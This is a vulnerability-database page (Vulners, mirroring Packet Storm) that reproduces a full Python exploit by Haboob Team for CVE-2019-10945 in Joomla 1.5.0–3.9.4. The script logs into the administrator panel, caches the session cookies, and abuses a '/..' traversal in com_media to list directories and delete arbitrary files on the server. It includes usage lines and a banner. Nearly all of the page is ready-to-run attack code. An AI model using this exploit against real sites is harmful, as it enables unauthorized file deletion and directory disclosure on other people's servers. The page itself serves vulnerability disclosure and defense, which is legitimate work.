Lucene search
K

Joomla 3.9.4 Arbitrary File Deletion / Directory Traversal

🗓️ 16 Apr 2019 00:00:00Reported by Haboob TeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 88 Views

Joomla 3.9.4 directory traversal & file deletion exploit by Haboob Tea

Related
Code
`# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion  
# Date: 2019-March-13  
# Exploit Author: Haboob Team  
# Web Site: haboob.sa  
# Email: [email protected]  
# Software Link: https://www.joomla.org/  
# Versions: Joomla 1.5.0 through Joomla 3.9.4  
# CVE : CVE-2019-10945  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945  
#  
# Usage:  
# List files in the specified directory:  
# python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory name>  
#  
# Delete file in specified directory  
# python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory to list> --rm=<file name>  
  
  
import re  
import tempfile  
import pickle  
import os  
import hashlib  
import urllib  
  
try:  
import click  
except ImportError:  
print("module 'click' doesn't exist, type: pip install click")  
exit(0)  
  
try:  
import requests  
except ImportError:  
print("module 'requests' doesn't exist, type: pip install requests")  
exit(0)  
try:  
import lxml.html  
except ImportError:  
print("module 'lxml' doesn't exist, type: pip install lxml")  
exit(0)  
  
mediaList = "?option=com_media&view=mediaList&tmpl=component&folder=/.."  
  
print '''   
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion  
# Web Site: Haboob.sa  
# Email: [email protected]  
# Versions: Joomla 1.5.0 through Joomla 3.9.4  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945   
_ _ ____ ____ ____ ____   
| | | | /\ | _ \ / __ \ / __ \| _ \   
| |__| | / \ | |_) | | | | | | | |_) |  
| __ | / /\ \ | _ <| | | | | | | _ <   
| | | |/ ____ \| |_) | |__| | |__| | |_) |  
|_| |_/_/ \_\____/ \____/ \____/|____/   
  
'''  
class URL(click.ParamType):  
name = 'url'  
regex = re.compile(  
r'^(?:http)s?://' # http:// or https://  
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain...  
r'localhost|' # localhost...  
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip  
r'(?::\d+)?' # optional port  
r'(?:/?|[/?]\S+)$', re.IGNORECASE)  
  
def convert(self, value, param, ctx):  
if not isinstance(value, tuple):  
if re.match(self.regex, value) is None:  
self.fail('invalid URL (%s)' % value, param, ctx)  
return value  
  
  
def getForm(url, query, cookie=''):  
r = requests.get(url, cookies=cookie, timeout=5)  
if r.status_code != 200:  
print("invalid URL: 404 NOT FOUND!!")  
exit(0)  
page = r.text.encode('utf-8')  
html = lxml.html.fromstring(page)  
return html.xpath(query), r.cookies  
  
  
def login(url, username, password):  
csrf, cookie = getForm(url, '//input/@name')  
postData = {'username': username, 'passwd': password, 'option': 'com_login', 'task': 'login',  
'return': 'aW5kZXgucGhw', csrf[-1]: 1}  
  
res = requests.post(url, cookies=cookie.get_dict(), data=postData, allow_redirects=False)  
if res.status_code == 200:  
html = lxml.html.fromstring(res.text)  
msg = html.xpath("//div[@class='alert-message']/text()[1]")  
print msg  
exit()  
else:  
get_cookies(res.cookies.get_dict(), url, username, password)  
  
  
def save_cookies(requests_cookiejar, filename):  
with open(filename, 'wb') as f:  
pickle.dump(requests_cookiejar, f)  
  
  
def load_cookies(filename):  
with open(filename, 'rb') as f:  
return pickle.load(f)  
  
  
def cookies_file_name(url, username, password):  
result = hashlib.md5(str(url) + str(username) + str(password))  
_dir = tempfile.gettempdir()  
return _dir + "/" + result.hexdigest() + ".Jcookie"  
  
  
def get_cookies(req_cookie, url, username, password):  
cookie_file = cookies_file_name(url, username, password)  
if os.path.isfile(cookie_file):  
return load_cookies(cookie_file)  
else:  
save_cookies(req_cookie, cookie_file)  
return req_cookie  
  
  
def traversal(url, username, password, dir=None):  
cookie = get_cookies('', url, username, password)  
url = url + mediaList + dir  
files, cookie = getForm(url, "//input[@name='rm[]']/@value", cookie)  
for file in files:  
print file  
pass  
  
  
def removeFile(baseurl, username, password, dir='', file=''):  
cookie = get_cookies('', baseurl, username, password)  
url = baseurl + mediaList + dir  
link, _cookie = getForm(url, "//a[@target='_top']/@href", cookie)  
if link:  
link = urllib.unquote(link[0].encode("utf8"))  
link = link.split('folder=')[0]  
link = link.replace("folder.delete", "file.delete")  
link = baseurl + link + "folder=/.." + dir + "&rm[]=" + file  
msg, cookie = getForm(link, "//div[@class='alert-message']/text()[1]", cookie)  
if len(msg) == 0:  
print "ERROR : File does not exist"  
else:  
print msg  
else:  
print "ERROR:404 NOT FOUND!!"  
  
  
@click.group(invoke_without_command=True)  
@click.option('--url', type=URL(), help="Joomla Administrator URL", required=True)  
@click.option('--username', type=str, help="Joomla Manager username", required=True)  
@click.option('--password', type=str, help="Joomla Manager password", required=True)  
@click.option('--dir', type=str, help="listing directory")  
@click.option('--rm', type=str, help="delete file")  
@click.pass_context  
def cli(ctx, url, username, password, dir, rm):  
url = url+"/"  
cookie_file = cookies_file_name(url, username, password)  
if not os.path.isfile(cookie_file):  
login(url, username, password)  
if dir is not None:  
dir = dir.lstrip('/')  
dir = dir.rstrip('/')  
dir = "/" + dir  
if dir == "/" or dir == "../" or dir == "/.":  
dir = ''  
else:  
dir = ''  
print dir  
if rm is not None:  
removeFile(url, username, password, dir, rm)  
else:  
traversal(url, username, password, dir)  
  
  
cli()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2019 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.81095
88